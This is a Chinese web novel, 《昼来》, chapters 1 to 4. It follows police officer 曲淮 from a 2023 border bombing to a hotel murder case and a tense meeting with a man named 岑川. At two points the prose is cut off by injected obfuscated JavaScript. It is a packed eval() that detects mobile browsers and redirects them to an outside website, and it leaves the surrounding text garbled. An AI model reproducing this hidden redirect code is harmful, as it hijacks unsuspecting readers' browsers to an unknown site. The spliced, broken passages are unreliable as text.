《昼来》 1. 楔子(作话含阅读指南) 二零二三年,中缅边境线,浓黑的烟翻滚而上。 高处,指挥车所在处喧嚣一片。 “开车!快开车!” “主目标准备从峡口下山出境!特警在尽力追,来人跟我横过石崖堵他!!” 几分钟前,轰——!巨响撕裂了天空。交易地点周围被狂暴的热浪与冲击波瞬间掀翻,震感山崩地裂。警方同时得知,主目标给交易对象捆了一溜炸弹,他要的从来不是买卖,而是那条命!整个指挥系统也在顷刻间乱成一锅粥。 车门打开,监控屏幕上的雪花一闪而过。几个刑警扶着几把公安老骨头先后下车,一齐疾步向观察点走,对于突发变故的争论不停。 “那个线人靠谱吗?到底是毒贩内讧还是他引起主目标怀疑临阵反水调虎离山?” “次目标那边确定不安排防爆组去抢救一下吗?库房只剩他自己,万一让他跑了得不偿失。” 一个年轻女警正站在观察点外围,听见动静避了几步。她跟穿着作训服的别人不太一样,身上单单套了件冲锋衣,也没有持枪。浑身唯一能称得上是利器的就是圆滚后脑勺发间插着的两根削尖铅笔,她静悄悄竖耳朵捕捉他们的对话。 “线人没问题。”开口的是行动总指挥延昌市公安局长金德,“至于抢救,次目标身上绑着的是光敏炸弹,引爆方式就是接触强光。只要他想鱼死网破,一甩外套一出门就可以拉一票人上路,我个人不建议展开这种陪葬式抢救。” “......他应该跑不了吧?” “不会。”金局定海神针般给出答案,随即跳过话题,“侦查组还没传回来路况如何?” 有人拿步话机上前,金局接过,抿紧的唇线再无言语。 不远处的年轻女警拿余光觑了他几眼。 那两个字又稳又快,比起久经沙场基于经验的推断,更像早有安排的笃定。 又一片云飘过太阳,给山峰带去一瞬黑暗。 “对了,小曲......呢?”终于有人在百忙之中想起来嘱咐新人几句别乱跑,抬眼却没找到。刚想多走几步找找,就被喊着去确定路线规划。心想她大概找地方待着了,没再管,“来了!” * 库房外,一片狼藉。炸药不长眼睛,把人尽数化为灰烬,谁也分不清这里哪些人的英魂摇旗呐喊,哪些人的亡魂坠入地狱。 砰—— 树叶沙沙振聋发聩,尸海压着骨灰,被撬开的金属门倏地破开! 曲淮惊愕抬头。 男人大概是背抵到门上被人用惯性冲了出来。 定格动作里最显眼的是他后颈骨性突起,像把未开锋的刃。黑发不长,脑袋有鲜血缓缓地滴落,整个人有种利索还含糊的矛盾感。 岑川的世界兀地出现一道声音。 如同幻觉般的脚步声。 他脑袋受了伤,血流了不少,思绪也变得恍惚,紧接着耳边似乎响起细长刺耳的警报长鸣。 他不明缘由,灵魂却先一步牵动躯体。 岑川就跟回光返照似的,硬是用小臂控制被铁棍敲折的手腕,把眼前的人生生往后推了几步!另只手在骨头几近变形的状态下抽出,揪紧他的外套牢牢裹住炸弹,伸腿一下踢上对方小腿。 在他面孔扭曲哀嚎时,岑川膝向前磕地,大腿死死压在他身上。那人后脑勺撞地,眼球都快凸起! 年轻人的举动在他扭曲惊恐的眼里播放。 岑川相对完好的手撑地,身体悬在炸弹上,不让它受压,也不让它见光。又用另只骨折的腕骨连接处,把头上流的血抹开在脸上,一张锋利的俊脸,转眼宛如嗜血成性的修罗在世。 岑川心跳火箭般直线起飞,他花了不过半分钟的时间干完一切,人还是懵的,思想追不上行动。 他可以跟这个脏污不堪的败类同归于尽。 但有人不能。 是谁? 他想去看,但不能。 不止是因为身下有颗见光死的炸弹。 他不能看她。 ——曲淮。 他咽下两个字。 灵魂呼之欲出,想去拥抱久别的爱人。 岑川用力摇摇头。 被他制住的人命也够硬,这会儿还没晕过去,甚至发现了他的走神,垂死挣扎般动弹两下:“你他妈......很怕死是不是!!那来啊——” 岑川余光是他举起的手,耳朵里尽是越来越近的脚步声。 曲淮眼里的画面就暂停到此处。 她顿觉危险,作为刑警的本能让她快步跑起来,喝问脱口而出:“你——” 是什么人?怎么会在这儿? 枯瘦的索命手闯入眼中,她呼吸猛地一滞,未出口的后缀戛然而止,没来得及思考就抽出别在脑后的铅笔飞射出去——嗖啪! “啊啊啊啊啊啊!!”凄厉痛呼。 那手掌心被扎了个对穿! 他因为剧痛颤抖的身体跟鱼临死前扑腾一模一样,差点把岑川翻下身。岑川撑地的手更加用力,青筋一根根清晰分明地彰显存在感,指腹大概已经破了。 因犯晕垂下的头瞥见了炸弹微弱红光。 不太对。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126108|196084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想。 曲淮见人短时间内失去了攻击能力,稍稍安下点心,加快步伐往过赶,她是为了金局的笃定循迹而来,没想到真撞见这生死一线。唇微张,刚想盘问些什么,就听—— “别过来!走!”岑川嗓音哑得要命,是浑身失力后的声嘶力竭,“他身上的炸弹还有别的引爆方式!” 电子倒计时应声出现在他身下—— “滴!滴!滴!” “滴滴!嘀嘀嘀!” “滴滴滴滴滴!” 千钧一发。 提示音越来越高频,有了群魔乱舞的意思。 ——轰! 巨大的热浪来袭! 尘土钻进喉咙,浑身血液倒流,但让岑川全身发冷的不是爆炸,而是在火星迸溅前,左肩上扯拽他的手。 与此同时,在类似无数只振翅蝉钻进耳中的耳鸣声里,他听见她着急的催促。 于是遭遇重击的脑部在一瞬作出反应,快陷入晕厥的身体在那刻被恐惧调动。只有左肩上是热的,其余全像身处冰窟,他被拉起来,紧接着反手拦住她向后扑去。 一眼,再清晰不过。 日思夜想的人依旧背对着他。 曲淮大概是卸下了防爆车摇摇欲坠的门挡在身前。 在爆炸的一秒,她肩处发生肉眼可见的变形! 剧痛袭来,曲淮耳膜被气压顶破。世界失声,视觉也随之消失。被掀飞前意识流离,触觉却尚存。 他怎么去我上面了? 防爆车门摔扣在两人身上,曲淮觉得自己要被压进他的血肉里,这么热,不会把我们融化成连体尸吧? 这是她陷入昏迷前最后的想法。 * 曲淮对医院消毒水的气味有本能反应,她的意识被强行拉回了一刻。 “滴——滴——” 还没炸吗? 不对。 是我的心率啊。 “她叫曲淮,三年前警大毕业通过联考进入市局,下基层的第三年又参加遴选考回来。这次出任务是想发挥下她的画像能力......” “这可是内勤的宝贝疙瘩!但人犟得很,非要去禁毒口拼命,我都不知道拒了她几回申请了,没想到......” ...... 急救床的轱辘转到飞起。 “让让!让让!” ...... “谢谢你救了......” 曲淮什么都没听清。 好吵。 她皱起眉,任由意识沉入海底。 2. 初见再见 六年后,延昌市公安局。 “哎呀——” 院内一道尖利的女声划破天空。 “不是有事就找幺幺零吗?你们为什么让我走?”看起来五十多岁的女人不依不饶,冲面前的两个警察喊,“我那死鬼老公一晚上没回家!我要报失踪!” “姨,你有这功夫不如去派出所登记一下,24小时后没特殊情况会有人立案侦查的,这是明文规定!”打头的警察苦口婆心。 “为什么?为什么得二十四个小时?”女人眼角的皱纹都绷直了,“万一他在哪个小贱人床上进进出出,我难道还得给他留穿衣服的时间吗!” “......”警察被这糙话噎住,极为克制地翻了个白眼,小声,“说不定正好被扫黄抓进去了呢,24小时内怎么也通知到你了。” “你说什么?!!!” 警察吸气:“您如果要捉奸,应该找侦探!” “什么捉奸!我都说了是失踪!失踪!!”女人怒火冲天。 他们身后的公安大楼内,曲淮刚打开窗户,就听见那不知道吃了几个喇叭的女高音。她朝下睨去,正巧看见女人要坐地上撒泼,她身前的警察眼疾手快稳稳拽住,女人一个踉跄差点扑他身上。 看着下属受折磨,曲淮很没良心地翘下唇:“你说卓飞现在会不会觉得,之前他帮食堂阿姨去菜市场讲价被喷一脸口水也没什么不可忍受的?” 一声感同身受的叹气响起:“这我不知道,但我猜他肯定在想官大一级压死人。” 曲淮转头看他一副不与资本争胜负的作态,眨两下眼:“你要这么说,我是不是得让你下去陪陪他,杨副队?” 杨宗被楼下女人堪比超市大抢购的、极具穿透力的尖利声音贯耳,为数不多的怜悯迅速灰飞烟灭,临阵倒戈:“不过话又说回来,卓飞确实是最好的人选,刚巧让他带着小桃练练,曲队你真英明。” 曲淮满意地点点头,黑直顺滑的长发在阳光下泛起一阵如同绸缎般的光泽,对着窗户深吸了一口。 凌晨暴雨的湿气还未尽数散去,混杂在正午艳阳的味道里有几分奇特,包裹在风内随意扑洒着。窗边绿植的小叶轻轻晃动,她浇的一汪水正被土壤慢慢吸收。 “你说他能搞定吗?怎么感觉——”她正观察着楼下的情况,办公室里的座机忽然响了。曲淮眼神一凝,三两步迈过去迅速接起,两三分钟后,微扬的眉梢渐平,她出声,“好的,我知道了。” 杨宗看她神情不对,等她撩下电话问:“指挥中心?” “嗯,大南区的......”曲淮不知为何卡下壳,想了想才说出口,“情杀案。分局已经去了,说是性质有点不明,让市局派两个人去协助。我带卓飞去吧,反正我值班点快到了,也顺路。小桃毕竟才转正,你留下看着点儿,实在不行就让他们那块的派出所来领人。” 她边拎起外套向外走,边给卓飞发语音:“711酒店出事儿了,你先去开车,我和杨宗马上下去。” * 延昌靠南,回暖得早,四月的体感温度在二十到三十之间,曲淮将外套扔在车后座,打开手机查找有没有案发现场的相关咨询。 连刷几条广告无果,她收起手机。到了地方,分局已经将外围封锁,曲淮隔着车窗望了眼。人不算多,大概是中午的缘故,偶尔几个拿出手机拍照的也会被立刻制止。 她下车,要往里走。一个身着警服的小年轻上前拦她:“女士,酒店目前禁止入——” 曲淮一般都穿便装,她很有自知之明,不等小年轻说完就抬手,一张证件“唰”地出现在人眼前: “我们是市公安局禁毒支队的。” 警徽在太阳的照射下金光闪闪。 小年轻猝不及防被证件照里穿着制服的女人怼脸,眼底闪过一丝惊艳。视线上移,曲淮已经收起证件,没上妆的唇是自然的水红色,比照片里还要招摇惹眼。 他人还懵着,但手比脑子快,下意识地拉开警戒线,曲淮无比自然地迈过:“你们队长上去了吗?” 她擦肩走过去,小年轻猛地回过神,手紧贴裤缝低了些头,跟被点名回答问题的小学生似的:“是、是的!” 卓飞路过,顺手拍了两下他的肩。这反应他熟,想当年他还是青涩的实习警,跟他们曲队就连对视一眼都结巴。 后来经过岁月和曲淮的共同打磨、打磨、又打磨,他不仅无感,五感都快丧失了。 分局大队长站在院内警车边跟两人招了个手,往前走了几步,一脸愁苦走到他们面前,惆怅地叹了口气:“你说这叫什么事儿?大清明的,假期泡汤就算了,目击者还被吓得快晕过去了,怎么也缓不过劲,我都琢磨着打幺二零了。” 曲淮扫了眼警车里止不住发抖的人:“情杀案的现场一般不挺温和吗?” “这个不同,现场很乱,看起来就跟台风过境似的。至于为什么定性成情杀......”他有气无力地说明情况,“酒店监控器正好在更换,我就先调了道路监控,发现死者与嫌疑人是一同从出租车上下来并进入酒店内的,这点可以成为具有自愿性行为的佐证——你别看我!我也觉得不对劲,都上报给指挥中心了。” 曲淮眯了眯眼睛,观察四周。整栋酒店大楼寂然无声,与隔壁楼几乎没有间距,看似是封闭的。她收回视线:“行吧,我上去看看。” 曲淮往旁边扫了眼,卓飞接收到她的眼神,竖起两根手指挥了挥:“放心吧,队长。人民群众就交给我来安抚。” 曲淮迈步进入酒店,快捷酒店的装修一向很简单直接,走廊明亮通透。重复的棕色门板向远处延伸,前一晚的客人大多退了房,曲淮连上几层楼都静悄悄的。 快到目标楼层时,刑警拍照的相机快门声出现在耳中。 与此同时,还有道颇显礼貌却拿腔作调的低沉嗓音随之清晰,但话的内容可不甚客气:“不会有不法之徒逃我房间见我东西好顺走了吧?你们治安也太差了吧?” “没有房卡是进不来房间的!更何况您这儿根本没有人来过的样子!”经理略显崩溃,心里默念三遍顾客是上帝,再开口,“不管怎么样,酒店都会尽量按您的要求去赔付!” “是是是,”紧接着男人不走心地应付又传来,“但那东西对我来说真挺重要的,急得我脸、干、舌、燥——我觉得还是找到比较好,您这儿监控又没了,让我很不安啊。” 他重点突出了脸干舌燥四个字,说得起承转合先抑后扬。 很有记忆点,简直是奔进曲淮的耳朵里挠痒痒。 “一个衬衫夹而已!”经理却绷不住了,“我赔您十个!” “您这是什么话?”男人讶异,嗓音听起来像是不服气,却还慢悠悠的,“我呢有点穿搭控,每件衣服都是专门定制的。暗兜您知道吧?来您别站那么远,过来看,这轮廓对光才能看出来呢!您可能不知道,我那丢了的衬衫夹,捆点什么提着走,承重五十斤呢!” “......”经理被他呢晕了,真想问他一句是把自己当特工零零七了吗,嘴嗫嚅两下没发声,最终只庆幸这位难缠的客人可算不逮着他盘问了,“那您自己找找吧!” 男人欣然答应的声音响起:“您别急,反正也出事封锁了,暂时定不出去。” 还挺有意思,曲淮跟听了段儿小品似的。 她走到案发房间的门口,眼睛还顺着声音朝隔壁看去。没看见那位脸干舌燥有定制癖的穿搭控,反而跟被堵得无话可说退出来的经理对上视线。 “......”经理乍一下瞧见个乌眉红唇的大美女,懵了下,下意识肤浅地以为她是来找屋里的刻薄帅哥的,“小姐,你走错了,这边——” “哎!”给案发现场拍完照的警察听见动静瞥过去,开口,“什么走错了?这我们领导。” 曲淮对着有点瞠目结舌的经理笑笑,飘飘然拐去了刑警边上,独留经理在原地怀疑人生。 片刻,他在门口僵硬地左右看了眼。 左边是正淡定地询问尸体情况的女人,一张脸被黑直的长发衬得又白又腻。高眉弓下是眼尾自然上翘的细长杏眼,很美,但没有人民公仆的正义感,反而美得邪性尖锐。 右边是漫不经心随意翻找的男人,时而还要挑剔地咂下舌,高鼻梁挺起了脸上的深度,起伏轮廓给人一种很烈的观感。哪怕他此时是副吊儿郎当的作态,也压不住那看起来就不好惹的锋利五官。 就这攻击力,这夫妻相的五官,怎么看,怎么像一对。 经理觉得真不能怪自己。 左屋内,法医给尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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掀开的被褥上有些许血迹,床头柜上的花瓶被扣翻在地,塑料花朵随着风颤颤巍巍,跌落的水杯沾湿地毯,床单似乎被人在无意间用力踩踏,耷拉在地上,飞起的衣物四散一旁,有女性的半袖、内衣,视野再放远,卫生间门口躺了条被撕碎的短裙。 正好痕检开始检查,他上前捡起翻看,深色短裙很明显是被粗暴撕开的,内部不显眼的布料若隐若现:“咦......” 曲淮视线徒然一顿,眯了下眼。 脑子里莫名冒出刚才听见的偏沉男声——“我每件衣服都是专门定制的,暗兜您知道吧......” 就跟接收信号成功似的,曲淮快步走去问:“怎么了?” “感觉这里的缝合线不太对劲,”痕检边说,边用手指尝试着轻轻扯拽,“很坚固。” 曲淮刚准备拿过来看,隔壁房间又传来了动静,“当啷”一声响,紧接着是“砰”的物品落地声。 得知得闭业几天后愁眉苦脸的经理一触即发,叫嚷着着急走了进去:“您干嘛呢?” 曲淮稍一抬眼,想起刚上楼时男人说的话。思索几秒,她拍拍技侦肩膀,绕过他走出门,摘了一次性手套。脚下一转去了隔壁房间。看了看,经理没说错,屋内物品确实是整齐的摆放,不像有人闯进来过的模样。 男人正双手环胸站着,茧在他松垮的指间若隐若现,手指上还缠绕了黑色的衬衫夹系带。 黑眸顺着窗户向下睨,嘴里还故作遗憾:“找到了,但我的烟掉下去了。”他转头瞥向经理,一下与她四目相对,似乎有短暂的凝滞。但很快,他就散散漫漫地强调,“是一盒,不是一根,还没拆呢。” 您这浑身上下的定制款还在意这一盒烟! 经理愤愤不平地从窗户探出头朝下面看,用就差喊他祖宗了的语气说:“您等会儿从侧门出去取就可以了,现在东西您也找到了,没事儿了吧。” 没事了就赶紧走吧。 曲淮都能替他补上未尽之言。 不料男人久久未答,黑黑沉沉的眸子不知从多会儿起凝在了曲淮脸上。 曲淮正想去窗边看看,感觉到后站在原地没动。回视,她睫毛又长又翘,打在颊处是分明阴影,眨了眨,表示怎么。 片刻,男人轻慢地笑了下,好像在反思:“啊......我怎么忘了今儿约的是你?” 3. 混蛋 气氛就死在一瞬间。 经理夹在两人中间,感觉空气里活泛的氧分子都消失了。他像被踩了尾巴的猫,登时提醒:“岑先生!您瞎说什么呢!这是人民同志!” “什么——”曲淮莫名觉得他有丝微不可察的眼熟,迎着男人的目光,本来打算接句话问什么意思,听见经理的话后却直接变了内容。那句她原本无所谓的调侃一下子熟悉起来,油腔滑调到刺耳,连漂亮眉眼都蓦地蒙上了层乌云,“岑?” 严格来说她是在听见那个字后脸色就骤然收敛,眼神也变了。 这一瞬间是十分明显的,毕竟她上一秒看他还是个颇有意思的有趣青年,很和善,下一秒他就原地化身在逃多年的通缉犯,她的眼睛都开始放刀子。 “警察?”男人似乎不怎么会看眼色,先是恍然大悟,又动了动搭在窗台的腕骨,“什么什么岑?你是在问我的名字吗?警官。” 曲淮根本不搭他的腔,双眸直直锁在他脸上,问道:“你叫什么岑?” 男人静静看她几秒,笑了,迈步跨过呆若木鸡的经理走到她身边:“准确点来说是岑什么。” 到曲淮肩侧,微微低头,有几分意味深长:“我叫岑川,山今岑,山川止行的川。” “警官,虽然呢一见钟情发展下去的前提确实是问名字,但你应该没追过人吧?这么凶可不行。” 他的尾音蒸发在空气里,曲淮绷起的身子在他自报姓名那刻肉眼可见稍稍松了下去。 稍顷,曲淮收回视线,为自己如临大敌的反应轻嘲了声。她冷淡地颔下首,显然被一个字和他痞子态度扣去的印象分很难再涨回来。 她径直走进洗浴间,把情绪起伏抛之脑后。绕到浴缸后,窗户半开,她探出身子看了下。酒店跟隔壁写字楼挨得很近,阳光不太能照进来,地面还是潮湿的。曲淮望见一个烟盒,余光里,还有个蒙了层灰的空调外机,她抬眼瞥着机器上方:“那是隔壁的窗户?我刚在那屋好像没看见。” 经理反应过来在跟自己说话,快走几步顺着她目光看去,抹了下额头的汗赶紧解释:“是隔壁的。那屋因为房型问题,窗户在淋浴房的磨砂玻璃后面,挡了个严实,走到淋浴旁转头才能看见,也是向内开的,但窗扇最多开到窗台边就会被玻璃卡住。” 被忽略的岑川大概自觉无趣,在曲淮余光里耸下肩朝门外走,即将踏出去前,曲淮开口了:“那位岑什么先生,请稍微等一下。” 除了连名字都没记住,整句话听起来还是客客气气的。 但她不知为何摒弃了看人说话更显尊重这一优良品德。曲淮连头都没回,还是垂眼看着空调外机的姿势,再配上客气话,多少含了些有意刻薄的成分。 空调外机的白色表面随时间推移覆上层层黑沫,但不知为何有块颜色混沌的地方,灰尘都被晕染出云边,她盯着打量。 “岑川,女士。”岑川学着她的称呼,回头笑了下,“怎么了?警官,是想起来忘要联系方式了吗? 曲淮站直身拍了拍手,背靠窗台先打量了他下。 凭心而论,他是个侵略感足足的骨相,帅还很抓人。但曲淮眼里全是他那渣里渣气的作态,把凶劲儿搅得黏糊糊,让人不舒服得很。就这种刻意的轻浮,最是让曲淮心生排斥。 更别提......她刚差点把他和某个失踪多年的混蛋扯上关系。 曲淮收回打量的视线,也没出声,但眸子里很明显有股否定意味。 曲淮走了几步,公事公办地说:“你定的房间就在案发现场隔壁,稍后还得麻烦你配合问话,烦请留步。” 没什么歉意,只能听出来虚假的客气。 岑川默了会儿,拿出手机,手臂上的青筋似乎控制不住地抽动下。解锁手机后亮在了曲淮面前,礼貌地哼出个遗憾的调子:“警官,虽然呢我也很想和你多待一会儿,但是你看我这张脸就该知道我很忙的,我呢,刚来延昌第二天,要见的人还有这么多呢。” 修长手指在屏幕上的联系人列表滑不到头。 清一色的女生头像,动漫的小动物的真人的,曲淮眼底刻着他跟炫耀似的行径。 看得她眼花缭乱,垂在腿边的手指不明缘由挣动一下。眼神又像箭似的嗖一下插在他脸上,心里的火也翻涌而上,曲淮还有种天下乌鸦一般黑、就知道他不是什么好东西的预言成功感。 她的脸庞浓颜如昨。 他们之间却不再如故。 岑川垂下目光,顶着她眼里预料之中的厌恶。他喉结滚动下,大概是太过干涩,给他种刀割的错觉。他收回手机,手在兜里无意识攥着,仿佛是想掐断某种迫不及待破土而出的情感。 气氛僵硬几秒,曲淮开口了:“啊,很荣幸见识到你这排到法国的长队,但你放心,只要你不是那该千刀万剐的罪犯,整个过程要不了一时半会就能完事,你的香飘飘奶茶应该不至于售罄。还有,跟我多待会儿?” 她短又清晰地笑了声,传神地表示出“就你?也配?”的言下之意。 接着轻拿轻放地收尾:“问你话的人在隔壁,跟我没多大关系。” 多少有些私人情绪了。 夹枪带棒一点儿不藏。 “是吗?但是我来那会儿就跟他们说完了啊,”岑川不太在意,意有所指地笑了下,“你不知道吗警官,我还以为......” 你还以为什么? 以为我看上你个渣男了借题发挥? 曲淮脸木了下:“你多虑了。” 就差没明说自恋狂了。 她从他脸上把眼神拔下来,凉飕飕扫过,似乎再跟他多说一句话都嫌浪费。眼底划过丝烦躁,绕开他往外走,跟隔壁的几人打了个招呼,把鞋套脱了,直接坐电梯下楼。 楼下,卓飞正跟分局大队长魏企明站在一起抽烟。卓飞刚才哄人费了老劲,累得不行。魏企明看了眼车里可算不是一副快撅过去相的女人,挠挠下巴:“这也就是现在,想当年我还是警队一只草,那么多目击者见了我就俩想法,异性仰慕,同性忮忌。” “......”卓飞吐出口烟,“少吹。” “岁月不饶人啊,”魏企明旁若无人地感叹着,眼一瞥,曲淮的身影出现,他噎住,没几秒,杵了下卓飞:“你说你们曲队怎么就没变化呢?” 卓飞看了眼,曲淮面无表情地往过走,远远跟他们点了下头,他莫名抖了抖,煞有其事地说:“有变化。” 魏企明疑惑。 “脸更黑了。”卓飞凭借多年受苦受难练成的雷达做出判断。 曲淮带着心情不好四个大字往过走,问道:“怎么样?” 魏企明:“目击者安抚好了,但没提供什么有用的消息。” 曲淮没细问,说起楼上的发现:“死者面颈湿冷程度与其他地方不同,我更偏向于是药物休克致死。她的短裙不太对劲,我没细看,你注意下。还有,洗浴间窗户一打开的空调外机上,有放过东西的痕迹,让痕检做检测排查。” 魏企明竖起大拇指:“你这侦察能力。” 卓飞与有荣焉,昂首挺胸。 “捧我做什么?你们分局的同志也都挺厉害的,还有......”曲淮客气到一半儿,琢磨出不对劲儿,还有?还能有谁?她倏忽又想起那荒谬的穿搭控言论,接着是掉下的烟,再接着是讨嫌的人。 天气跟她一起多云转阴。 卓飞抬起的头又渐渐低了下去,他惶恐地试探:“还有啥啊?曲队。” 曲淮下意识微仰头望去,晃了下神。 方才楼上那男人身段颀长,开了三颗扣子的黑衬衫露出劲瘦肌肉。她光顾着在心底痛骂他的渣男行径了,这会儿才琢磨出不对劲,那大众款能是定制的吗? “......”曲淮眼眸微凝。 她又想到窗台外面还有挑板,除非刻意似乎很难掉下去东西。 不太对劲。 雷声突然响起。 曲淮回过神,男人的轻佻作风也出现了,她冷声一笑,觉得是自己想太多,一个肤浅的混蛋哪能有那么深的脑子,她回答卓飞:“社会边角料。” 曲淮也没太草率地跳过这茬,她歪着头,朝魏企明:“案发现场隔壁住那男的,把身份信息登记好,仔细核查下有没有问题。”她接着道,“我建议你先筛一遍死者的 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卓飞一眼就看出来他在想什么,往他背上一搭,开口良苦用心:“小兄弟,你年纪轻轻怎么能以貌取人呢。跟你说个事儿——就六年前边境那场大行动,听说过吧?咱们曲队那会儿还是个借调来的画像师,按理说在后方待着就行。结果你猜怎么着?就她,一个人摸到最危险的库房,愣是从炸药边上捞回条人命!” “......”小年轻嘴巴张得能塞进个鸡蛋。 虽然曲淮漂亮得是很锐利,但给他的第一眼感觉却是,她往那儿一站,根本犯不着自己动手,就多的是人为她冲锋陷阵了,哪儿还用自己赴汤蹈火拼命呢。 卓飞看他一副听啥信啥的样,故作严肃:“邪了门的是,那人伤好了,二话不说要拍屁股走人,连后续调查都不配合。把咱们曲队给气的,你是没见着,她直接冲进局长办公室,说这二等功她受之有愧,宁可不要!” “局长一顿游说,什么人家多年刀头舔血临了看破红尘也正常,曲队倒是没被晓之以理动之以情,但正好,她又又又一次收到了申调禁毒队报告的拒绝回复。所以当时她即使打心底觉得自己不够格那二等功,最后为了能去禁毒也接受了。这件事也成了她那么多丰功伟绩里,最不乐意被人提的一段。” 卓飞讲完,欣赏了会儿小年轻呆愣愣的模样,绷不住了,笑出声:“你不会当真了吧?其实那场行动我没参加,这都是我听说的。而且授攻是非常严格的啦,我只觉得被曲队救那人运气是真好,至于其他的,说不准都是谣言呢?干活干活!” * 这边曲淮刚踏出大门,豆大的雨珠“啪”一声砸在她脑门上。曲淮皱下眉,抬眼看了下天,紧随其后的雨滴砸得她眼前一片模糊。 “......”曲淮深吸了口气,加快步伐上车。 车窗外是一阵猛烈的、急促不歇的砰砰作响,突如其来的暴雨冲刷着每一寸土地。不像是晚春的清洗,更像一种带有毁灭意义的摧残。天色骤黑,乌云在蓝天上碾了又碾,终于把阴霾铺满了。 烦得要死。 曲淮对于这诸事不顺的清明节,只能用撞鬼了三个字来劝自己。 她尽量保持心态平和地起步,打开雨刷,倒车的时候瞥见亮起灯的大厅,经理带着男人一闪而过,脑子里的思绪拐了个弯。 方才房间内很安静,男人自我介绍时的嗓音无比清晰—— 岑川。 岑。 可不是撞鬼了吗。 曲淮调出音乐,单手握着方向盘一转,拐出大门。额上粘着绺湿发,她顺手别到耳后,再握上方向盘,朝着墓园的方向驶去。 午高峰早就过了,一路上都没什么人,车子驶过湿漉漉的柏油路,轱辘带起一串不小的水花。雨刷器在曲淮的眼前刮来刮去,直让她犯晕,脑子里还跟失控了的幻灯片似的闪个不停。一会儿是那人玩世不恭的作态,一会儿是他像展示战利品似的给她看列表的女孩儿们,一会儿又定格在一个字上—— “岑。” 曲淮狠狠闭了闭眼。 一个刻在她血肉里、划在她心脏上的名字,被生硬地连拖带拽出来,激起一股剧痛。 “沈非岑。” 三个字碰撞在她唇齿间。 4. 正反 一个轻浮的现役渣男成功让她脑子里又出现了那个失踪的渣男初恋。 亮起的车载电台自动播放出一首耳熟能详的老歌,这歌发布没几年网络流出句话:《夜曲》一响,青春散场。曲淮虽然后来才听说,但也没耽误她当时就散场。 岑川那声调欠揍的“警官”还绕在耳边,恰巧与她记忆里一道清醇的声音重合。 曲淮控着方向盘的手攥紧,深吸了好几口气,没等歌手开嗓,就抬手把歌摁掉。车里空调开着,冷意森森。也压不下她那股心悸。心脏就那么又恨、又痛、又慌,还冷冰冰的。 这是她想起沈非岑的常态。 不清甜,不酸涩,反而苦得伤筋动骨。 雨刷器不停动作,在她眼前的车窗掀起一阵潮浪,夹杂着她无数回忆的雨水被拍在路边,十多年了,曲淮什么都没忘。 起初他是怎么点起她热焰的火,结束他又是如何烧到她不堪零落,曲淮记得清清楚楚。 十六岁懵懂,十八岁心动,十九岁崩塌。 她记恨他。 却找不到他算账。 一段无疾而终的网恋,情感却如春墙爬藤,最后墙皮掉落,支架腐朽,可仍绿意葱葱,不断疯长。 于是几经数载,翻倍成灾。 无穷无尽的苔藓爬山虎生长,层层包裹她的心脏密不透风,连跳动都无法感知。不明不白,不偏不倚,只剩执拗。 以至于今天光是听见那说荒唐话的男人名字里带岑,她就条件反射绷紧了神经,直接被激回了这段偏执芜杂的情绪里。 路口是红灯,曲淮踩着刹车停下,她向后仰了下,呼吸轻轻的,垂下头时很自然地伸手,眸色意味不清,从亮着的中控屏侧边拽出一个文件,开始自动播放。 几声细微的动静过后,一段少年清凌凌的哼唱歌声响起: “一群嗜血的蚂蚁被腐肉所吸引/我面无表情看孤独的风景......当鸽子不再象征和平/我终于被提醒/广场上喂食的是秃鹰/我用漂亮的押韵/形容被掠夺一空的爱情/啊乌云开始遮蔽夜色不干净......” 他声调很拽,还挺恨,咬字劲劲儿的,不知冲谁,但确实够代入。长时间的保存给音频加上些颗粒感,隐淡的不能言说的滋味儿被拔高。他还故意隐没两句失去打头的歌词,在不驯逼人的腔里含了细腻。 那会儿曲淮十九他二十一,认识两年,恋爱一年。这是他唯一一次给她唱歌,也是他给她发过的最长语音条。曲淮听完乐翻在沙发,重播一遍又一遍。 毕竟往日沈非岑说起简短的话来总透着股澄澈的忠诚劲,像捧着即为稀缺的珍宝般小心翼翼,有着自然而然又哄又捧的勾子,认真还坚定,像潮雨接连里唯一的坦荡。 曲淮乍一听他唱出阴暗感,直接被那反差的冲击力吸引得不要不要的。 “那些断翅的蜻蜓散落在这森林/而我的眼睛没有丝毫同情......风在长满青苔的屋顶/嘲笑我的伤心/像一口没有水的枯井......” 沈非岑唱得随意,似乎记起哪句来哪句,喉结滚落的每个音节都像清泉拍打石壁,叮叮撞进曲淮的耳膜。但到高潮,他的嗓音扬起来,反而发涩,在克制什么似的。 “为你弹奏肖邦的夜曲/纪念我......跟夜风一样的声音/心碎的很好听/手在键盘敲很轻/我给的思念很小心......” 当时的曲淮觉得,他连唱都不舍得唱爱情死去,别太有心了。 发现他真面目后,她才明白是这混蛋压根没把跟她当爱情,甚至都懒得张口骗骗她,就敷衍忽略地跳过了。 不怪她往坏处想,谁让这段清唱诞生没几天,她就成了他在雨天踩过的路边烂泥,他只想赶紧甩掉她,好让自己干干净净。 绿灯亮,曲淮起步。 音频又开始循环播放,沉闷的雨声是伴奏。这段清唱她有空就听,还有一些他给她发过的语音,都被她整理进了收藏夹,不多,加起来不到三个小时。 倒不是矫情心盲要去想念排解,只是为了提醒自己千万别忘,哪天碰见,绝对把他一下就逮出来。 曲淮停在昌和公墓门口。 “叮——”手机铃声恰到好处地响起,曲淮拿伞下车,一手撑开,一手打开手机。 黑色伞面向上盛起乌云,向下笼罩微弱亮光。 曲淮解锁,看了眼,不出意外,是她爸曲天涯每年照例地打招呼,嘘寒问暖一大堆后点明了中心思想——他跟她妈出游去了。 